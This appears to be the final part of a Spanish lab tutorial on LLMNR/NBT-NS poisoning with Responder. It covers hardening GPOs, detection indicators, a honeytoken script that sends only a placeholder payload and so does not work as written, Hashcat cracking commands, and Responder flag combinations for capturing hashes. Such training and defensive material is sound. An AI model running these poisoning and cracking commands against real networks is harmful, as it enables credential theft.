# 1. Requerir NTLMv2 m&iacute;nimo (deshabilitar NTLMv1)
# GPO: Computer Config -> Windows Settings -> Security Settings
#   -> Local Policies -> Security Options
#   -> 'Network security: LAN Manager authentication level'
#   -> 'Send NTLMv2 response only. Refuse LM & NTLM'

# 2. Habilitar SMB Signing (previene relay attacks)
# GPO: Microsoft network server: Digitally sign communications (always) = Enabled

# 3. Habilitar Protected Users group (Kerberos-only)
# Los miembros de este grupo no pueden usar NTLM en absoluto
# Ideal para cuentas privilegiadas (Domain Admins)

# 4. Credential Guard (Windows 10/11 Enterprise)
# Protege los hashes en memoria mediante virtualizaci&oacute;n
# No evita la captura por Responder pero protege los hashes de LSASS

🔍

Detección del Ataque de Responder

Cómo identificar si alguien está ejecutando Responder en tu red

Responder es ruidoso en la red: responde a TODOS los broadcasts LLMNR y NBT-NS, lo que genera un patrón de tráfico detectable. Además, una técnica muy efectiva de detección es el uso de honeytokens: consultas LLMNR artificiales que ningún sistema legítimo debería responder.

🔍INDICADORES DE COMPROMISO (IoCs) DE RESPONDER

Indicador	Descripción	Dónde buscarlo
Respuestas LLMNR anómalas	Un mismo host responde a múltiples consultas LLMNR de diferentes equipos	Wireshark / IDS (Zeek, Suricata)
Respuestas NBT-NS masivas	Un host responde a todos los broadcasts NBT-NS de la red	Wireshark, filtro: nbns and ip.src == IP_sospechosa
Intentos de autenticación fallidos	Múltiples usuarios intentando autenticarse a una IP desconocida	SIEM / Event ID 4625
Nuevas IPs respondiendo	Una IP que no estaba antes en la red comienza a responder a broadcasts	ARP / DHCP logs / NDR

Script de detección de Responder con Python (honeytoken)

#!/usr/bin/env python3
# Script de detecci&oacute;n: env&iacute;a consultas LLMNR falsas
# Si alguien responde, es Responder (o similar)
# Ejecutar en un equipo de la red para detectar ataques activos

import socket, struct, random, time

def send_llmnr_query(name, interface=''):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    sock.settimeout(2)
    
    # Construir paquete LLMNR query
    transaction_id = random.randint(0, 65535)
    flags = 0x0000
    questions = 1
    
    # Nombre LLMNR (nombre falso que nadie deber&iacute;a resolver)
    fake_name = f'honeypot-{random.randint(1000,9999)}'
    
    # Enviar al multicast LLMNR
    try:
        sock.sendto(b'...', ('224.0.0.252', 5355))
        response, addr = sock.recvfrom(1024)
        print(f'[ALERTA] Posible Responder detectado en {addr[0]}')
        print(f'[ALERTA] Respondi&oacute; a la query ficticia: {fake_name}')
    except socket.timeout:
        print(f'[OK] Sin respuesta sospechosa')
    finally:
        sock.close()

if __name__ == '__main__':
    print('[*] Enviando honeytoken LLMNR...')
    send_llmnr_query('honeypot-test')

📊

Referencia: Modos de Hashcat para Windows

Los modos más relevantes para auditorías de Active Directory

Modo (-m)	Tipo de hash	Descripción	Dónde aparece
`5600`	NTLMv2 (NetNTLMv2)	Hash capturado por Responder / MITM	Captura de red (Responder)
`5500`	NTLMv1 (NetNTLMv1)	Versión antigua, más rápida de crackear	Redes antiguas (NTLMv1 habilitado)
`1000`	NTLM (NT hash)	Hash de contraseña Windows puro	SAM, NTDS.dit, secretsdump
`3000`	LM hash	Hash legacy muy débil (solo Windows XP y anteriores)	SAM de sistemas muy antiguos
`13100`	Kerberoast (TGS)	Ticket de servicio Kerberos para cracking	Kerberoasting en AD
`18200`	AS-REP Roasting	Hash de cuentas sin pre-auth Kerberos	AS-REP Roasting en AD
`7500`	Kerberos 5 TGT	Ticket TGT capturado	Captura de red Kerberos

Ejemplos rápidos de Hashcat para cada tipo

# NTLMv2 (Responder) - el m&aacute;s com&uacute;n en este lab
hashcat -m 5600 ntlmv2.txt rockyou.txt

# NT Hash (de secretsdump / mimikatz)
hashcat -m 1000 nthashes.txt rockyou.txt

# Kerberoast
hashcat -m 13100 kerberoast.txt rockyou.txt -r best64.rule

# AS-REP Roasting
hashcat -m 18200 asrep.txt rockyou.txt

# Ver progreso mientras corre:
hashcat --status

# Pausar/reanudar:
# Ctrl+C para pausar, hashcat retoma desde donde lo dej&oacute;
hashcat -m 5600 ntlmv2.txt rockyou.txt --restore

🔧

Referencia: Opciones de Responder

Parámetros y flags más utilizados

Opción	Descripción	Ejemplo
`-I eth0`	Interfaz de red a escuchar (obligatorio)	`responder -I eth0`
`-r`	Habilitar servidor DNS Rogue (responde a peticiones DNS)	`responder -I eth0 -r`
`-d`	Habilitar respuestas a peticiones NBT-NS Domain suffix queries	`responder -I eth0 -d`
`-w`	Habilitar servidor WPAD (captura auth de navegadores)	`responder -I eth0 -w`
`-f`	Fingir soporte Basic HTTP auth (más compatible)	`responder -I eth0 -wf`
`-F`	Forzar autenticación NTLM en HTTP (en lugar de Basic)	`responder -I eth0 -wF`
`-P`	Usar NTLMv1 en lugar de NTLMv2 (más crackeable, más ruidoso)	`responder -I eth0 -P`
`-v`	Modo verbose: mostrar todos los eventos	`responder -I eth0 -v`
`--lm`	Forzar downgrade a autenticación LM (muy inseguro)	`responder -I eth0 --lm`
`-A`	Modo análisis: escuchar pero NO responder (solo observar)	`responder -I eth0 -A`

Combinaciones más utilizadas en auditorías

# M&iacute;nimo (solo LLMNR/NBT-NS poisoning):
sudo responder -I eth0

# Con WPAD para capturar autenticaci&oacute;n de navegadores:
sudo responder -I eth0 -wF

# Modo completo (m&aacute;s ruidoso pero m&aacute;s capturas):
sudo responder -I eth0 -rdwF

# Modo an&aacute;lisis: ver tr&aacute;fico sin interferir (defensa/auditoria pasiva):
sudo responder -I eth0 -A -v

# Solo para ciertos protocolos (editar Responder.conf para lo dem&aacute;s)
# y combinar con -I

🏆

Mapping MITRE ATT&CK

Técnicas relacionadas con este ataque en el framework MITRE

Táctica	ID	Técnica	Fase del ataque
Credential Access	T1557.001	Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay	Envenenamiento y captura
Credential Access	T1110.002	Brute Force: Password Cracking	Cracking con Hashcat
Lateral Movement	T1550.002	Use Alternate Authentication Material: Pass the Hash	PtH con NT hash
Discovery	T1046	Network Service Discovery	Reconocimiento de red
Defense Evasion	T1562.001	Impair Defenses: Disable or Modify Tools	Evadir detección

🛡RESUMEN DE CONTRAMEDIDAS POR TÉCNICA MITRE

Técnica	Contramedida principal	Dificultad implementación
T1557.001 (Poisoning)	Deshabilitar LLMNR y NBT-NS via GPO	● Baja
T1110.002 (Cracking)	Políticas de contraseña fuertes + límite de caracteres mín. 15	● Baja
T1550.002 (PtH)	Habilitar Protected Users + Credential Guard	● Media
Todos	SMB Signing obligatorio + segmentación de red	● Media

✓ CONCLUSIÓN DEL LABORATORIOHas completado el laboratorio de Responder. Los conceptos de envenenamiento LLMNR/NBT-NS, captura de hashes NTLMv2, cracking con Hashcat y Pass-the-Hash son fundamentales en cualquier auditoría de Active Directory. Son los primeros pasos en labs como HackTheBox y TryHackMe (módulos AD), y forman parte del temario de OSCP, CEH y eJPT. Practica siempre en entornos de laboratorio propios.